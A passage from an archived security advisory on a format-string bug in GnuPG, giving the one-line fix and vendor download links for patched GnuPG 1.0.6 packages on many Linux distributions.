    it immune  against the  bug.   So, it  should be  save to continue
    using GnuPG from within a MUA.

    BTW, the Windows version is not affect by this bug, but there are
    probably other problems with this system.

Solution

    The vulnerable call obviously needs the "%s" conversion:

        tty_printf( "%s", prompt );

    The newest release of GnuPG (version 1.0.6) contains this security
    fix,  as  well  as  implementing  many  new  features.   It can be
    obtained from

        http://www.gnupg.org/download.html

    All GnuPG users are strongly urged to upgrade as soon as possible.

    For Immunix OS:

        http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/gnupg-1.0.6-2_StackGuard.i386
        http://download.immunix.org/ImmunixOS/6.2/updates/SRPMS/gnupg-1.0.6-2_StackGuard.src
        http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/gnupg-1.0.6-2_imnx.i386.rpm
        http://download.immunix.org/ImmunixOS/7.0/updates/SRPMS/gnupg-1.0.6-2_imnx.src.rpm

    For Linux-Mandrake:

        Linux-Mandrake 7.1: 7.1/RPMS/gnupg-1.0.6-1.2mdk.i586.rpm
                            7.1/SRPMS/gnupg-1.0.6-1.2mdk.src.rpm
        Linux-Mandrake 7.2: 7.2/RPMS/gnupg-1.0.6-1.1mdk.i586.rpm
                            7.2/SRPMS/gnupg-1.0.6-1.1mdk.src.rpm
        Linux-Mandrake 8.0: 8.0/RPMS/gnupg-1.0.6-1.1mdk.i586.rpm
                            8.0/SRPMS/gnupg-1.0.6-1.1mdk.src.rpm
    Corporate Server 1.0.1: 1.0.1/RPMS/gnupg-1.0.6-1.2mdk.i586.rpm
                            1.0.1/SRPMS/gnupg-1.0.6-1.2mdk.src.rpm

    For Trustix Secure Linux:

        http://www.trustix.net/pub/Trustix/updates/
        ftp://ftp.trustix.net/pub/Trustix/updates/
        ftp://ftp.trustix.net/pub/Trustix/software/swup/
            ./1.2/SRPMS/gnupg-1.0.6-1tr.src.rpm
            ./1.2/RPMS/gnupg-1.0.6-1tr.i586.rpm
            ./1.1/SRPMS/gnupg-1.0.6-1tr.src.rpm
            ./1.1/RPMS/gnupg-1.0.6-1tr.i586.rpm

    For SuSE Linux:

        ftp://ftp.suse.com/pub/suse/i386/update/7.1/sec1/gpg-1.0.6-0.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/7.0/sec1/gpg-1.0.6-0.i386.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/7.0/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/6.4/sec1/gpg-1.0.6-1.i386.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/6.4/zq1/gpg-1.0.6-1.src.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/6.3/sec1/gpg-1.0.6-1.i386.rpm
        ftp://ftp.suse.de/pub/suse/i386/update/6.3/zq1/gpg-1.0.6-1.src.rpm
        ftp://ftp.suse.com/pub/suse/sparc/update/7.1/sec1/gpg-1.0.6-0.sparc.rpm
        ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/sparc/update/7.0/sec1/gpg-1.0.6-0.sparc.rpm
        ftp://ftp.suse.de/pub/suse/sparc/update/7.0/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/7.1/sec1/gpg-1.0.6-0.ppc.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/ppc/update/7.0/sec1/gpg-1.0.6-0.ppc.rpm
        ftp://ftp.suse.de/pub/suse/ppc/update/7.0/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/ppc/update/6.4/sec1/gpg-1.0.5-3.ppc.rpm
        ftp://ftp.suse.de/pub/suse/ppc/update/6.4/zq1/gpg-1.0.5-3.src.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/7.1/sec1/gpg-1.0.6-0.alpha.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/7.0/sec1/gpg-1.0.6-0.alpha.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/7.0/zq1/gpg-1.0.6-0.src.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/6.4/sec1/gpg-1.0.6-1.alpha.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/6.4/zq1/gpg-1.0.6-1.src.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/6.3/sec1/gpg-1.0.6-2.alpha.rpm
        ftp://ftp.suse.de/pub/suse/axp/update/6.3/zq1/gpg-1.0.6-2.src.rpm

    For Conectiva Linux:

        ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es//SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/RPMS/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/RPMS/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/gnupg-doc-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/gnupg-1.0.6-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/gnupg-1.0.6-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/gnupg-doc-1.0.6-1cl.i386.rpm

    For Caldera Linux:

        ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/RPMS/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/RPMS/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/RPMS/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/current/RPMS/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/current/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Workstation/current/RPMS/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Workstation/current/SRPMS/gnupg-1.0.6-1.src.rpm

    For RedHat:

        ftp://updates.redhat.com/6.2/en/os/SRPMS/gnupg-1.0.6-0.6.x.src.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/gnupg-1.0.6-0.6.x.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/gnupg-1.0.6-0.6.x.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/gnupg-1.0.6-0.6.x.sparc.rpm
        ftp://updates.redhat.com/7.0/en/os/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/gnupg-1.0.6-1.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/gnupg-1.0.6-1.i386.rpm
        ftp://updates.redhat.com/7.1/en/os/SRPMS/gnupg-1.0.6-1.src.rpm
        ftp://updates.redhat.com/7.1/en/os/i386/gnupg-1.0.6-1.i386.rpm

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/gnupg_1.0.6-0potato1.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/gnupg_1.0.6-0potato1.dsc
        http://security.debian.org/dists/stable/updates/main/source/gnupg_1.0.6.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-alpha/gnupg_1.0.6-0potato1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/gnupg_1.0.6-0potato1_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/gnupg_1.0.6-0potato1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/gnupg_1.0.6-0potato1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/gnupg_1.0.6-0potato1_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/gnupg_1.0.6-0potato1_sparc.deb

    For Turbolinux:

        ftp://ftp.turbolinux.com/pub/updates/6.0/security/gnupg-1.0.6-1.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/gnupg-1.0.6-1.src.rpm

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH